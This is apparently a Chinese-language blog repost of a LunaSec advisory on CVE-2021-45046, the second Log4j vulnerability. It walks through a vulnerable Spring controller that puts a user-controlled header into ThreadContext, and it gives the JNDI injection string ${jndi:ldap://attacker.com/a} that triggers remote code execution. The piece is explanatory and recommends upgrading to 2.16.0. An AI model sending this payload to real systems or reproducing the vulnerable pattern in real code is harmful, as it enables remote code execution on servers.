Log4Shell 更新:第二個 log4j 漏洞已釋出 - lunasec

banq發表於2021-12-15

在 log4j 維護者釋出2.15.0解決 Log4Shell 漏洞的版本後,在CVE-2021-45046 中發現並報告了一個額外的攻擊,繼續建議您升級到2.16.0,以防發現進一步的漏洞來濫用此攻擊。
新的 CVE(CVE-2021-45046) 發現:
  • Apache Log4j 2.15.0 中針對 CVE-2021-44228 的修復在某些非預設配置中不完整。
  • 2.7.0 <= Apache log4j <= 2.14.1情況下,如設定系統屬性log4j2.noFormatMsgLookup為true不能減輕這種特定的漏洞。

Log4j 2.16.0 透過刪除對訊息查詢模式的支援和預設禁用 JNDI 功能來完全緩解此問題。
  
對於上述第二種情況的重現:
設定系統屬性log4j2.noFormatMsgLookup為true:

ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true

如果你 Log4j2 屬性配置包括自定義格式:

appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

注意${ctx:apiversion}格式字串指的是ThreadContext中的一個名為apiversion值。ThreadContext是執行緒上下文,用來線上程之間共享變數或狀態的。
在程式碼中使用:
ThreadContext.put("apiversion", apiVersion);
就可以將apiversion值放入執行緒上下文,供Log4j的自定義格式使用。
例如詳細程式碼如下:

@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {

    // Add user controlled input to threadcontext;
    // Used in log via ${ctx:apiversion}
    ThreadContext.put("apiversion", apiVersion);

    // Notice how these changes remove apiVersion from directly being logged
    logger.info("Received a request for API version");
    return "Hello, world!";
}

上述程式碼將外部輸入引數apiVersion直接儲存到執行緒上下文ThreadContext中,然後Log4j2再根據自定義配置將其列印輸出出來。
這是整個新的漏洞路徑。
如果攻擊者使用$ {jndi: ldap: //attacker.com/a}作為你的系統的輸入引數,也就是賦值給上述程式碼的apiVersion變數,就可以透過這個新的漏洞路徑執行他自己的任意程式了。


詳情點選標題

Log4Shell 更新:第二個 log4j 漏洞已釋出 - lunasec
 

相關文章